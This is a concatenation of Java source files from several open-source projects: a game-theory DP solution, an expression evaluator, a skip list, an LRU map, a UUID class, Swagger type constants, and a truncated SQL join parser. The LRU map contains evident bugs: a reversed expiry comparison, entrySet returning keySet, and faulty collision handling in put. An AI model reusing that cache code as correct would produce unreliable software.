Play2 take 1 or 2 to get into state-1. play2 may take 1 or 2 coins. so again, -1 or -2. So consider i-1, i-2, i-3, or i-4. Note, the next stemp would be for play2, then play1. However, if left are 1,2 coins for play2, play2 wins; if left are 4 coins, play2 wins; only when left are 3 coins, play2 will surely lose, so play1 win. Therefore, there is just 1 case to consider: if left are 3 coins, and it's play2's turn, then play1 surely wins. so fn: dp[i] = dp[i-3] Init: dp[0] = false; dp[1], dp[2] = tru; dp[3] = false; Result: dp[n] */ /* O(n) time and O(n)space.*/ public class Solution { /** * @param n: an integer * @return: a boolean which equals to true if the first player will win */ public boolean firstWillWin(int n) { if (n <= 0) { return false; } if (n <= 2) { return true; } boolean[] dp = new boolean[n + 1]; dp[1] = true; dp[2] = true; dp[3] = false; for (int i = 4; i <= n; i++) { dp[i] = dp[i - 3]; } return dp[n]; } } /* O(1) time and O(1)space. Base on the analysis in 1st attempt: As long as it's not product of 3 However, this is pretty ... math. Not quite useful to test coding ability. */ public class Solution { /** * @param n: an integer * @return: a boolean which equals to true if the first player will win */ public boolean firstWillWin(int n) { if (n <= 0) { return false; } return n % 3 != 0; } } ```
awangdev/leet-code
Java/Coins in a Line.java
29
package org.nutz.el; import java.lang.reflect.Method; import java.util.Map; import java.util.Queue; import org.nutz.el.arithmetic.RPN; import org.nutz.el.arithmetic.ShuntingYard; import org.nutz.el.opt.RunMethod; import org.nutz.el.opt.custom.CustomMake; import org.nutz.lang.Lang; import org.nutz.lang.segment.CharSegment; import org.nutz.lang.util.Context; public class El { private RPN rc = null; private CharSequence elstr = ""; public El(){} /** * 预编译 */ public El(CharSequence cs){ elstr = cs; ShuntingYard sy = new ShuntingYard(); Queue<Object> rpn = sy.parseToRPN(cs.toString()); rc = new RPN(rpn); } /** * 解析预编译后的EL表达式 */ public Object eval(Context context) { if(rc == null){ throw new ElException("没有进行预编译!"); } return rc.calculate(context); } /** * 对参数代表的表达式进行运算 */ public static Object eval(String val) { //逆波兰表示法(Reverse Polish notation,RPN,或逆波兰记法) return eval(null, val); } public static Object eval(Context context, String val) { ShuntingYard sy = new ShuntingYard(); RPN rc = new RPN(); Queue<Object> rpn = sy.parseToRPN(val); return rc.calculate(context, rpn); } public String toString() { return elstr.toString(); } /** * 说明: * 1. 操作符优先级参考<Java运算符优先级参考图表>, 但不完全遵守,比如"()" * 2. 使用Queue 的原因是,调用peek()方法不会读取串中的数据. * 因为我希望达到的效果是,我只读取我需要的,我不需要的数据我不读出来. */ //@ JKTODO 删除原来的EL包,并修改当前为EL //@ JKTODO 自己实现一个QUEUE接口, 主要是实现队列,头部检测,头部第几个元素检测 public static String render(String seg, Context ctx) { return render(new CharSegment(seg), ctx); } public static String render(CharSegment seg, Context ctx) { Context main = Lang.context(); for (String key : seg.keys()) { main.set(key, new El(key).eval(ctx)); } return String.valueOf(seg.render(main)); } public static String render(CharSegment seg, Map<String, El> els, Context ctx) { Context main = Lang.context(); for (String key : seg.keys()) { El el = els.get(key); if (el == null) el = new El(key); main.set(key, el.eval(ctx)); } return String.valueOf(seg.render(main)); } public static void register(String name, RunMethod run) { CustomMake.me().register(name, run); } public static void register(String name, Method method) { CustomMake.me().register(name, method); } }
nutzam/nutz
src/org/nutz/el/El.java
30
package com.study.skiplist; import java.util.Random; /** * 1,跳表的一种实现方法,用于练习。跳表中存储的是正整数,并且存储的是不重复的。 * 2,本类是参考作者zheng ,自己学习,优化了添加方法 * 3,看完这个,我觉得再看ConcurrentSkipListMap 源码,会有很大收获 * Author:ldb */ public class SkipList2 { private static final int MAX_LEVEL = 16; private int levelCount = 1; /** * 带头链表 */ private Node head = new Node(MAX_LEVEL); private Random r = new Random(); public Node find(int value) { Node p = head; // 从最大层开始查找,找到前一节点,通过--i,移动到下层再开始查找 for (int i = levelCount - 1; i >= 0; --i) { while (p.forwards[i] != null && p.forwards[i].data < value) { // 找到前一节点 p = p.forwards[i]; } } if (p.forwards[0] != null && p.forwards[0].data == value) { return p.forwards[0]; } else { return null; } } /** * 优化了作者zheng的插入方法 * * @param value 值 */ public void insert(int value) { int level = head.forwards[0] == null ? 1 : randomLevel(); // 每次只增加一层,如果条件满足 if (level > levelCount) { level = ++levelCount; } Node newNode = new Node(level); newNode.data = value; Node update[] = new Node[level]; for (int i = 0; i < level; ++i) { update[i] = head; } Node p = head; // 从最大层开始查找,找到前一节点,通过--i,移动到下层再开始查找 for (int i = levelCount - 1; i >= 0; --i) { while (p.forwards[i] != null && p.forwards[i].data < value) { // 找到前一节点 p = p.forwards[i]; } // levelCount 会 > level,所以加上判断 if (level > i) { update[i] = p; } } for (int i = 0; i < level; ++i) { newNode.forwards[i] = update[i].forwards[i]; update[i].forwards[i] = newNode; } } /** * 优化了作者zheng的插入方法2 * * @param value 值 */ public void insert2(int value) { int level = head.forwards[0] == null ? 1 : randomLevel(); // 每次只增加一层,如果条件满足 if (level > levelCount) { level = ++levelCount; } Node newNode = new Node(level); newNode.data = value; Node p = head; // 从最大层开始查找,找到前一节点,通过--i,移动到下层再开始查找 for (int i = levelCount - 1; i >= 0; --i) { while (p.forwards[i] != null && p.forwards[i].data < value) { // 找到前一节点 p = p.forwards[i]; } // levelCount 会 > level,所以加上判断 if (level > i) { if (p.forwards[i] == null) { p.forwards[i] = newNode; } else { Node next = p.forwards[i]; p.forwards[i] = newNode; newNode.forwards[i] = next; } } } } /** * 作者zheng的插入方法,未优化前,优化后参见上面insert() * * @param value * @param level 0 表示随机层数,不为0,表示指定层数,指定层数 * 可以让每次打印结果不变动,这里是为了便于学习理解 */ public void insert(int value, int level) { // 随机一个层数 if (level == 0) { level = randomLevel(); } // 创建新节点 Node newNode = new Node(level); newNode.data = value; // 表示从最大层到低层,都要有节点数据 newNode.maxLevel = level; // 记录要更新的层数,表示新节点要更新到哪几层 Node update[] = new Node[level]; for (int i = 0; i < level; ++i) { update[i] = head; } /** * * 1,说明:层是从下到上的,这里最下层编号是0,最上层编号是15 * 2,这里没有从已有数据最大层(编号最大)开始找,(而是随机层的最大层)导致有些问题。 * 如果数据量为1亿,随机level=1 ,那么插入时间复杂度为O(n) */ Node p = head; for (int i = level - 1; i >= 0; --i) { while (p.forwards[i] != null && p.forwards[i].data < value) { p = p.forwards[i]; } // 这里update[i]表示当前层节点的前一节点,因为要找到前一节点,才好插入数据 update[i] = p; } // 将每一层节点和后面节点关联 for (int i = 0; i < level; ++i) { // 记录当前层节点后面节点指针 newNode.forwards[i] = update[i].forwards[i]; // 前一个节点的指针,指向当前节点 update[i].forwards[i] = newNode; } // 更新层高 if (levelCount < level) levelCount = level; } public void delete(int value) { Node[] update = new Node[levelCount]; Node p = head; for (int i = levelCount - 1; i >= 0; --i) { while (p.forwards[i] != null && p.forwards[i].data < value) { p = p.forwards[i]; } update[i] = p; } if (p.forwards[0] != null && p.forwards[0].data == value) { for (int i = levelCount - 1; i >= 0; --i) { if (update[i].forwards[i] != null && update[i].forwards[i].data == value) { update[i].forwards[i] = update[i].forwards[i].forwards[i]; } } } } /** * 随机 level 次,如果是奇数层数 +1,防止伪随机 * * @return */ private int randomLevel() { int level = 1; for (int i = 1; i < MAX_LEVEL; ++i) { if (r.nextInt() % 2 == 1) { level++; } } return level; } /** * 打印每个节点数据和最大层数 */ public void printAll() { Node p = head; while (p.forwards[0] != null) { System.out.print(p.forwards[0] + " "); p = p.forwards[0]; } System.out.println(); } /** * 打印所有数据 */ public void printAll_beautiful() { Node p = head; Node[] c = p.forwards; Node[] d = c; int maxLevel = c.length; for (int i = maxLevel - 1; i >= 0; i--) { do { System.out.print((d[i] != null ? d[i].data : null) + ":" + i + "-------"); } while (d[i] != null && (d = d[i].forwards)[i] != null); System.out.println(); d = c; } } /** * 跳表的节点,每个节点记录了当前节点数据和所在层数数据 */ public class Node { private int data = -1; /** * 表示当前节点位置的下一个节点所有层的数据,从上层切换到下层,就是数组下标-1, * forwards[3]表示当前节点在第三层的下一个节点。 */ private Node forwards[]; /** * 这个值其实可以不用,看优化insert() */ private int maxLevel = 0; public Node(int level) { forwards = new Node[level]; } @Override public String toString() { StringBuilder builder = new StringBuilder(); builder.append("{ data: "); builder.append(data); builder.append("; levels: "); builder.append(maxLevel); builder.append(" }"); return builder.toString(); } } public static void main(String[] args) { SkipList2 list = new SkipList2(); list.insert(1, 3); list.insert(2, 3); list.insert(3, 2); list.insert(4, 4); list.insert(5, 10); list.insert(6, 4); list.insert(8, 5); list.insert(7, 4); list.printAll_beautiful(); list.printAll(); /** * 结果如下: * null:15------- * null:14------- * null:13------- * null:12------- * null:11------- * null:10------- * 5:9------- * 5:8------- * 5:7------- * 5:6------- * 5:5------- * 5:4------- 8:4------- * 4:3-------5:3-------6:3-------7:3-------8:3------- * 1:2-------2:2------- 4:2-------5:2-------6:2-------7:2-------8:2------- * 1:1-------2:1-------3:1-------4:1-------5:1-------6:1-------7:1-------8:1------- * 1:0-------2:0-------3:0-------4:0-------5:0-------6:0-------7:0-------8:0------- * { data: 1; levels: 3 } { data: 2; levels: 3 } { data: 3; levels: 2 } { data: 4; levels: 4 } * { data: 5; levels: 10 } { data: 6; levels: 4 } { data: 7; levels: 4 } { data: 8; levels: 5 } */ // 优化后insert() SkipList2 list2 = new SkipList2(); list2.insert2(1); list2.insert2(2); list2.insert2(6); list2.insert2(7); list2.insert2(8); list2.insert2(3); list2.insert2(4); list2.insert2(5); System.out.println(); list2.printAll_beautiful(); } }
wangzheng0822/algo
java/17_skiplist/SkipList2.java
31
package com.crossoverjie.actual; import com.google.common.util.concurrent.ThreadFactoryBuilder; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Set; import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicInteger; /** * Function: * * 1.在做 key 生成 hashcode 时是用的 HashMap 的 hash 函数 * 2.在做 put get 时,如果存在 key 相等时候为了简单没有去比较 equal 和 hashcode * 3.限制大小, map的最大size是1024, 超过1024后,就淘汰掉最久没有访问的kv 键值对, 当淘汰时,需要调用一个callback lruCallback(K key, V value) * 是利用每次 put 都将值写入一个内部队列,这样只需要判断队列里的第一个即可。 * 4.具备超时功能, 当键值对1小时内没有被访问, 就被淘汰掉, 当淘汰时, 需要调用一个callback timeoutCallback(K key, V value); * 超时同理,单独开启一个守护进程来处理,取的是队列里的第一个 因为第一个是最早放进去的。 * * 但是像 HashMap 里的扩容,链表在超过阈值之类的没有考虑进来。 * * @author crossoverJie * Date: 02/02/2018 20:47 * @since JDK 1.8 */ public class LRUAbstractMap extends java.util.AbstractMap { private final static Logger LOGGER = LoggerFactory.getLogger(LRUAbstractMap.class); /** * 检查是否超期线程 */ private ExecutorService checkTimePool ; /** * map 最大size */ private final static int MAX_SIZE = 1024 ; private final static ArrayBlockingQueue<Node> QUEUE = new ArrayBlockingQueue<>(MAX_SIZE) ; /** * 默认大小 */ private final static int DEFAULT_ARRAY_SIZE =1024 ; /** * 数组长度 */ private int arraySize ; /** * 数组 */ private Object[] arrays ; /** * 判断是否停止 flag */ private volatile boolean flag = true ; /** * 超时时间 */ private final static Long EXPIRE_TIME = 60 * 60 * 1000L ; /** * 整个 Map 的大小 */ private volatile AtomicInteger size ; public LRUAbstractMap() { arraySize = DEFAULT_ARRAY_SIZE; arrays = new Object[arraySize] ; //开启一个线程检查最先放入队列的值是否超期 executeCheckTime(); } /** * 开启一个线程检查最先放入队列的值是否超期 设置为守护线程 */ private void executeCheckTime() { ThreadFactory namedThreadFactory = new ThreadFactoryBuilder() .setNameFormat("check-thread-%d") .setDaemon(true) .build(); checkTimePool = new ThreadPoolExecutor(1, 1, 0L, TimeUnit.MILLISECONDS, new ArrayBlockingQueue<>(1),namedThreadFactory,new ThreadPoolExecutor.AbortPolicy()); checkTimePool.execute(new CheckTimeThread()) ; } @Override public Set<Entry> entrySet() { return super.keySet(); } @Override public Object put(Object key, Object value) { int hash = hash(key); int index = hash % arraySize ; Node currentNode = (Node) arrays[index] ; if (currentNode == null){ arrays[index] = new Node(null,null, key, value); //写入队列 QUEUE.offer((Node) arrays[index]) ; sizeUp(); }else { Node cNode = currentNode ; Node nNode = cNode ; //存在就覆盖 if (nNode.key == key){ cNode.val = value ; } while (nNode.next != null){ //key 存在 就覆盖 简单判断 if (nNode.key == key){ nNode.val = value ; break ; }else { //不存在就新增链表 sizeUp(); Node node = new Node(nNode,null,key,value) ; //写入队列 QUEUE.offer(currentNode) ; cNode.next = node ; } nNode = nNode.next ; } } return null ; } @Override public Object get(Object key) { int hash = hash(key) ; int index = hash % arraySize ; Node currentNode = (Node) arrays[index] ; if (currentNode == null){ return null ; } if (currentNode.next == null){ //更新时间 currentNode.setUpdateTime(System.currentTimeMillis()); //没有冲突 return currentNode ; } Node nNode = currentNode ; while (nNode.next != null){ if (nNode.key == key){ //更新时间 currentNode.setUpdateTime(System.currentTimeMillis()); return nNode ; } nNode = nNode.next ; } return super.get(key); } @Override public Object remove(Object key) { int hash = hash(key) ; int index = hash % arraySize ; Node currentNode = (Node) arrays[index] ; if (currentNode == null){ return null ; } if (currentNode.key == key){ sizeDown(); arrays[index] = null ; //移除队列 QUEUE.poll(); return currentNode ; } Node nNode = currentNode ; while (nNode.next != null){ if (nNode.key == key){ sizeDown(); //在链表中找到了 把上一个节点的 next 指向当前节点的下一个节点 nNode.pre.next = nNode.next ; nNode = null ; //移除队列 QUEUE.poll(); return nNode; } nNode = nNode.next ; } return super.remove(key); } /** * 增加size */ private void sizeUp(){ //在put值时候认为里边已经有数据了 flag = true ; if (size == null){ size = new AtomicInteger() ; } int size = this.size.incrementAndGet(); if (size >= MAX_SIZE) { //找到队列头的数据 Node node = QUEUE.poll() ; if (node == null){ throw new RuntimeException("data error") ; } //移除该 key Object key = node.key ; remove(key) ; lruCallback() ; } } /** * 数量减小 */ private void sizeDown(){ if (QUEUE.size() == 0){ flag = false ; } this.size.decrementAndGet() ; } @Override public int size() { return size.get() ; } /** * 链表 */ private class Node{ private Node next ; private Node pre ; private Object key ; private Object val ; private Long updateTime ; public Node(Node pre,Node next, Object key, Object val) { this.pre = pre ; this.next = next; this.key = key; this.val = val; this.updateTime = System.currentTimeMillis() ; } public void setUpdateTime(Long updateTime) { this.updateTime = updateTime; } public Long getUpdateTime() { return updateTime; } @Override public String toString() { return "Node{" + "key=" + key + ", val=" + val + '}'; } } /** * copy HashMap 的 hash 实现 * @param key * @return */ public int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } private void lruCallback(){ LOGGER.debug("lruCallback"); } private class CheckTimeThread implements Runnable{ @Override public void run() { while (flag){ try { Node node = QUEUE.poll(); if (node == null){ continue ; } Long updateTime = node.getUpdateTime() ; if ((updateTime - System.currentTimeMillis()) >= EXPIRE_TIME){ remove(node.key) ; } } catch (Exception e) { LOGGER.error("InterruptedException"); } } } } }
crossoverJie/JCSprout
src/main/java/com/crossoverjie/actual/LRUAbstractMap.java
33
package cn.hutool.core.lang; import cn.hutool.core.util.RandomUtil; import cn.hutool.core.util.StrUtil; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import java.util.Random; /** * 提供通用唯一识别码(universally unique identifier)(UUID)实现,UUID表示一个128位的值。<br> * 此类拷贝自java.util.UUID,用于生成不带-的UUID字符串 * * <p> * 这些通用标识符具有不同的变体。此类的方法用于操作 Leach-Salz 变体,不过构造方法允许创建任何 UUID 变体(将在下面进行描述)。 * <p> * 变体 2 (Leach-Salz) UUID 的布局如下: long 型数据的最高有效位由以下无符号字段组成: * * <pre> * 0xFFFFFFFF00000000 time_low * 0x00000000FFFF0000 time_mid * 0x000000000000F000 version * 0x0000000000000FFF time_hi * </pre> * <p> * long 型数据的最低有效位由以下无符号字段组成: * * <pre> * 0xC000000000000000 variant * 0x3FFF000000000000 clock_seq * 0x0000FFFFFFFFFFFF node * </pre> * * <p> * variant 字段包含一个表示 UUID 布局的值。以上描述的位布局仅在 UUID 的 variant 值为 2(表示 Leach-Salz 变体)时才有效。 * * <p> * version 字段保存描述此 UUID 类型的值。有 4 种不同的基本 UUID 类型:基于时间的 UUID、DCE 安全 UUID、基于名称的 UUID 和随机生成的 UUID。<br> * 这些类型的 version 值分别为 1、2、3 和 4。 * * @since 4.1.11 */ public class UUID implements java.io.Serializable, Comparable<UUID> { private static final long serialVersionUID = -1185015143654744140L; /** * {@link SecureRandom} 的单例 * * @author looly */ private static class Holder { static final SecureRandom NUMBER_GENERATOR = RandomUtil.getSecureRandom(); } /** * 此UUID的最高64有效位 */ private final long mostSigBits; /** * 此UUID的最低64有效位 */ private final long leastSigBits; /** * 私有构造 * * @param data 数据 */ private UUID(byte[] data) { long msb = 0; long lsb = 0; assert data.length == 16 : "data must be 16 bytes in length"; for (int i = 0; i < 8; i++) { msb = (msb << 8) | (data[i] & 0xff); } for (int i = 8; i < 16; i++) { lsb = (lsb << 8) | (data[i] & 0xff); } this.mostSigBits = msb; this.leastSigBits = lsb; } /** * 使用指定的数据构造新的 UUID。 * * @param mostSigBits 用于 {@code UUID} 的最高有效 64 位 * @param leastSigBits 用于 {@code UUID} 的最低有效 64 位 */ public UUID(long mostSigBits, long leastSigBits) { this.mostSigBits = mostSigBits; this.leastSigBits = leastSigBits; } /** * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的本地线程伪随机数生成器生成该 UUID。 * * @return 随机生成的 {@code UUID} */ public static UUID fastUUID() { return randomUUID(false); } /** * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的强伪随机数生成器生成该 UUID。 * * @return 随机生成的 {@code UUID} */ public static UUID randomUUID() { return randomUUID(true); } /** * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的强伪随机数生成器生成该 UUID。 * * @param isSecure 是否使用{@link SecureRandom}如果是可以获得更安全的随机码,否则可以得到更好的性能 * @return 随机生成的 {@code UUID} */ public static UUID randomUUID(boolean isSecure) { final Random ng = isSecure ? Holder.NUMBER_GENERATOR : RandomUtil.getRandom(); final byte[] randomBytes = new byte[16]; ng.nextBytes(randomBytes); randomBytes[6] &= 0x0f; /* clear version */ randomBytes[6] |= 0x40; /* set to version 4 */ randomBytes[8] &= 0x3f; /* clear variant */ randomBytes[8] |= 0x80; /* set to IETF variant */ return new UUID(randomBytes); } /** * 根据指定的字节数组获取类型 3(基于名称的)UUID 的静态工厂。 * * @param name 用于构造 UUID 的字节数组。 * @return 根据指定数组生成的 {@code UUID} */ public static UUID nameUUIDFromBytes(byte[] name) { MessageDigest md; try { md = MessageDigest.getInstance("MD5"); } catch (NoSuchAlgorithmException nsae) { throw new InternalError("MD5 not supported"); } byte[] md5Bytes = md.digest(name); md5Bytes[6] &= 0x0f; /* clear version */ md5Bytes[6] |= 0x30; /* set to version 3 */ md5Bytes[8] &= 0x3f; /* clear variant */ md5Bytes[8] |= 0x80; /* set to IETF variant */ return new UUID(md5Bytes); } /** * 根据 {@link #toString()} 方法中描述的字符串标准表示形式创建{@code UUID}。 * * @param name 指定 {@code UUID} 字符串 * @return 具有指定值的 {@code UUID} * @throws IllegalArgumentException 如果 name 与 {@link #toString} 中描述的字符串表示形式不符抛出此异常 */ public static UUID fromString(String name) { String[] components = name.split("-"); if (components.length != 5) { throw new IllegalArgumentException("Invalid UUID string: " + name); } for (int i = 0; i < 5; i++) { components[i] = "0x" + components[i]; } long mostSigBits = Long.decode(components[0]); mostSigBits <<= 16; mostSigBits |= Long.decode(components[1]); mostSigBits <<= 16; mostSigBits |= Long.decode(components[2]); long leastSigBits = Long.decode(components[3]); leastSigBits <<= 48; leastSigBits |= Long.decode(components[4]); return new UUID(mostSigBits, leastSigBits); } /** * 返回此 UUID 的 128 位值中的最低有效 64 位。 * * @return 此 UUID 的 128 位值中的最低有效 64 位。 */ public long getLeastSignificantBits() { return leastSigBits; } /** * 返回此 UUID 的 128 位值中的最高有效 64 位。 * * @return 此 UUID 的 128 位值中最高有效 64 位。 */ public long getMostSignificantBits() { return mostSigBits; } /** * 与此 {@code UUID} 相关联的版本号. 版本号描述此 {@code UUID} 是如何生成的。 * <p> * 版本号具有以下含意: * <ul> * <li>1 基于时间的 UUID * <li>2 DCE 安全 UUID * <li>3 基于名称的 UUID * <li>4 随机生成的 UUID * </ul> * * @return 此 {@code UUID} 的版本号 */ public int version() { // Version is bits masked by 0x000000000000F000 in MS long return (int) ((mostSigBits >> 12) & 0x0f); } /** * 与此 {@code UUID} 相关联的变体号。变体号描述 {@code UUID} 的布局。 * <p> * 变体号具有以下含意: * <ul> * <li>0 为 NCS 向后兼容保留 * <li>2 <a href="http://www.ietf.org/rfc/rfc4122.txt">IETF&nbsp;RFC&nbsp;4122</a>(Leach-Salz), 用于此类 * <li>6 保留,微软向后兼容 * <li>7 保留供以后定义使用 * </ul> * * @return 此 {@code UUID} 相关联的变体号 */ public int variant() { // This field is composed of a varying number of bits. // 0 - - Reserved for NCS backward compatibility // 1 0 - The IETF aka Leach-Salz variant (used by this class) // 1 1 0 Reserved, Microsoft backward compatibility // 1 1 1 Reserved for future definition. return (int) ((leastSigBits >>> (64 - (leastSigBits >>> 62))) & (leastSigBits >> 63)); } /** * 与此 UUID 相关联的时间戳值。 * * <p> * 60 位的时间戳值根据此 {@code UUID} 的 time_low、time_mid 和 time_hi 字段构造。<br> * 所得到的时间戳以 100 毫微秒为单位,从 UTC(通用协调时间) 1582 年 10 月 15 日零时开始。 * * <p> * 时间戳值仅在在基于时间的 UUID(其 version 类型为 1)中才有意义。<br> * 如果此 {@code UUID} 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 * * @return 时间戳值 * @throws UnsupportedOperationException 如果此 {@code UUID} 不是 version 为 1 的 UUID。 */ public long timestamp() throws UnsupportedOperationException { checkTimeBase(); return (mostSigBits & 0x0FFFL) << 48// | ((mostSigBits >> 16) & 0x0FFFFL) << 32// | mostSigBits >>> 32; } /** * 与此 UUID 相关联的时钟序列值。 * * <p> * 14 位的时钟序列值根据此 UUID 的 clock_seq 字段构造。clock_seq 字段用于保证在基于时间的 UUID 中的时间唯一性。 * <p> * {@code clockSequence} 值仅在基于时间的 UUID(其 version 类型为 1)中才有意义。 如果此 UUID 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 * * @return 此 {@code UUID} 的时钟序列 * @throws UnsupportedOperationException 如果此 UUID 的 version 不为 1 */ public int clockSequence() throws UnsupportedOperationException { checkTimeBase(); return (int) ((leastSigBits & 0x3FFF000000000000L) >>> 48); } /** * 与此 UUID 相关的节点值。 * * <p> * 48 位的节点值根据此 UUID 的 node 字段构造。此字段旨在用于保存机器的 IEEE 802 地址,该地址用于生成此 UUID 以保证空间唯一性。 * <p> * 节点值仅在基于时间的 UUID(其 version 类型为 1)中才有意义。<br> * 如果此 UUID 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 * * @return 此 {@code UUID} 的节点值 * @throws UnsupportedOperationException 如果此 UUID 的 version 不为 1 */ public long node() throws UnsupportedOperationException { checkTimeBase(); return leastSigBits & 0x0000FFFFFFFFFFFFL; } // Object Inherited Methods /** * 返回此{@code UUID} 的字符串表现形式。 * * <p> * UUID 的字符串表示形式由此 BNF 描述: * * <pre> * {@code * UUID = <time_low>-<time_mid>-<time_high_and_version>-<variant_and_sequence>-<node> * time_low = 4*<hexOctet> * time_mid = 2*<hexOctet> * time_high_and_version = 2*<hexOctet> * variant_and_sequence = 2*<hexOctet> * node = 6*<hexOctet> * hexOctet = <hexDigit><hexDigit> * hexDigit = [0-9a-fA-F] * } * </pre> * * @return 此{@code UUID} 的字符串表现形式 * @see #toString(boolean) */ @Override public String toString() { return toString(false); } /** * 返回此{@code UUID} 的字符串表现形式。 * * <p> * UUID 的字符串表示形式由此 BNF 描述: * * <pre> * {@code * UUID = <time_low>-<time_mid>-<time_high_and_version>-<variant_and_sequence>-<node> * time_low = 4*<hexOctet> * time_mid = 2*<hexOctet> * time_high_and_version = 2*<hexOctet> * variant_and_sequence = 2*<hexOctet> * node = 6*<hexOctet> * hexOctet = <hexDigit><hexDigit> * hexDigit = [0-9a-fA-F] * } * </pre> * * @param isSimple 是否简单模式,简单模式为不带'-'的UUID字符串 * @return 此{@code UUID} 的字符串表现形式 */ public String toString(boolean isSimple) { final StringBuilder builder = StrUtil.builder(isSimple ? 32 : 36); // time_low builder.append(digits(mostSigBits >> 32, 8)); if (false == isSimple) { builder.append('-'); } // time_mid builder.append(digits(mostSigBits >> 16, 4)); if (false == isSimple) { builder.append('-'); } // time_high_and_version builder.append(digits(mostSigBits, 4)); if (false == isSimple) { builder.append('-'); } // variant_and_sequence builder.append(digits(leastSigBits >> 48, 4)); if (false == isSimple) { builder.append('-'); } // node builder.append(digits(leastSigBits, 12)); return builder.toString(); } /** * 返回此 UUID 的哈希码。 * * @return UUID 的哈希码值。 */ @Override public int hashCode() { long hilo = mostSigBits ^ leastSigBits; return ((int) (hilo >> 32)) ^ (int) hilo; } /** * 将此对象与指定对象比较。 * <p> * 当且仅当参数不为 {@code null}、而是一个 UUID 对象、具有与此 UUID 相同的 varriant、包含相同的值(每一位均相同)时,结果才为 {@code true}。 * * @param obj 要与之比较的对象 * @return 如果对象相同,则返回 {@code true};否则返回 {@code false} */ @Override public boolean equals(Object obj) { if ((null == obj) || (obj.getClass() != UUID.class)) { return false; } UUID id = (UUID) obj; return (mostSigBits == id.mostSigBits && leastSigBits == id.leastSigBits); } // Comparison Operations /** * 将此 UUID 与指定的 UUID 比较。 * * <p> * 如果两个 UUID 不同,且第一个 UUID 的最高有效字段大于第二个 UUID 的对应字段,则第一个 UUID 大于第二个 UUID。 * * @param val 与此 UUID 比较的 UUID * @return 在此 UUID 小于、等于或大于 val 时,分别返回 -1、0 或 1。 */ @Override public int compareTo(UUID val) { // The ordering is intentionally set up so that the UUIDs // can simply be numerically compared as two numbers int compare = Long.compare(this.mostSigBits, val.mostSigBits); if(0 == compare){ compare = Long.compare(this.leastSigBits, val.leastSigBits); } return compare; } // ------------------------------------------------------------------------------------------------------------------- Private method start /** * 返回指定数字对应的hex值 * * @param val 值 * @param digits 位 * @return 值 */ private static String digits(long val, int digits) { long hi = 1L << (digits * 4); return Long.toHexString(hi | (val & (hi - 1))).substring(1); } /** * 检查是否为time-based版本UUID */ private void checkTimeBase() { if (version() != 1) { throw new UnsupportedOperationException("Not a time-based UUID"); } } // ------------------------------------------------------------------------------------------------------------------- Private method end }
dromara/hutool
hutool-core/src/main/java/cn/hutool/core/lang/UUID.java
34
package com.xkcoding.swagger.common; /** * <p> * 方便在 @ApiImplicitParam 的 dataType 属性使用 * </p> * * @author yangkai.shen * @date Created in 2018-11-29 13:23 */ public final class DataType { public final static String STRING = "String"; public final static String INT = "int"; public final static String LONG = "long"; public final static String DOUBLE = "double"; public final static String FLOAT = "float"; public final static String BYTE = "byte"; public final static String BOOLEAN = "boolean"; public final static String ARRAY = "array"; public final static String BINARY = "binary"; public final static String DATETIME = "dateTime"; public final static String PASSWORD = "password"; }
xkcoding/spring-boot-demo
demo-swagger/src/main/java/com/xkcoding/swagger/common/DataType.java
35
package io.mycat.catlets; import java.util.LinkedHashMap; import java.util.List; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.alibaba.druid.sql.SQLUtils; import com.alibaba.druid.sql.ast.SQLExpr; import com.alibaba.druid.sql.ast.SQLOrderBy; import com.alibaba.druid.sql.ast.SQLOrderingSpecification; import com.alibaba.druid.sql.ast.SQLStatement; import com.alibaba.druid.sql.ast.expr.SQLAggregateExpr; import com.alibaba.druid.sql.ast.expr.SQLAllColumnExpr; import com.alibaba.druid.sql.ast.expr.SQLBinaryOpExpr; import com.alibaba.druid.sql.ast.expr.SQLBinaryOperator; import com.alibaba.druid.sql.ast.expr.SQLBooleanExpr; import com.alibaba.druid.sql.ast.expr.SQLCharExpr; import com.alibaba.druid.sql.ast.expr.SQLIdentifierExpr; import com.alibaba.druid.sql.ast.expr.SQLInListExpr; import com.alibaba.druid.sql.ast.expr.SQLIntegerExpr; import com.alibaba.druid.sql.ast.expr.SQLMethodInvokeExpr; import com.alibaba.druid.sql.ast.expr.SQLNullExpr; import com.alibaba.druid.sql.ast.expr.SQLNumberExpr; import com.alibaba.druid.sql.ast.expr.SQLPropertyExpr; import com.alibaba.druid.sql.ast.statement.SQLJoinTableSource; import com.alibaba.druid.sql.ast.statement.SQLJoinTableSource.JoinType; import com.alibaba.druid.sql.ast.statement.SQLSelectItem; import com.alibaba.druid.sql.ast.statement.SQLSelectOrderByItem; import com.alibaba.druid.sql.ast.statement.SQLSelectQuery; import com.alibaba.druid.sql.ast.statement.SQLSelectStatement; import com.alibaba.druid.sql.ast.statement.SQLTableSource; import com.alibaba.druid.sql.dialect.mysql.ast.statement.MySqlSelectQueryBlock; import com.alibaba.druid.sql.dialect.mysql.parser.MySqlStatementParser; /** * 功能详细描述:分片join,解析join语句 * @author sohudo[http://blog.csdn.net/wind520] * @create 2015年01月25日 * @version 0.0.1 */ public class JoinParser { protected static final Logger LOGGER = LoggerFactory.getLogger(JoinParser.class); private MySqlSelectQueryBlock mysqlQuery; private String stmt=""; private String joinType; private String masterTable; private TableFilter tableFilter; // a table -> b table 的链表 //private LinkedHashMap<String,String> fieldAliasMap = new LinkedHashMap<String,String>(); public JoinParser(MySqlSelectQueryBlock selectQuery,String stmt) { this.mysqlQuery=selectQuery; this.stmt=stmt; } public void parser(){ masterTable=""; SQLTableSource table=mysqlQuery.getFrom(); //a 表 parserTable(table,tableFilter,false); // 组成链表 parserFields(mysqlQuery.getSelectList()); //查询字段放到各个查询表中。 parserMasterTable(); //查询主表 别名 parserWhere(mysqlQuery.getWhere(),""); // where 条件放到各个查询表中。 // getJoinField(); parserOrderBy(mysqlQuery.getOrderBy()); // order 条件放到各个查询表中。 parserLimit(); // limit // LOGGER.info("field "+fieldAliasMap); // 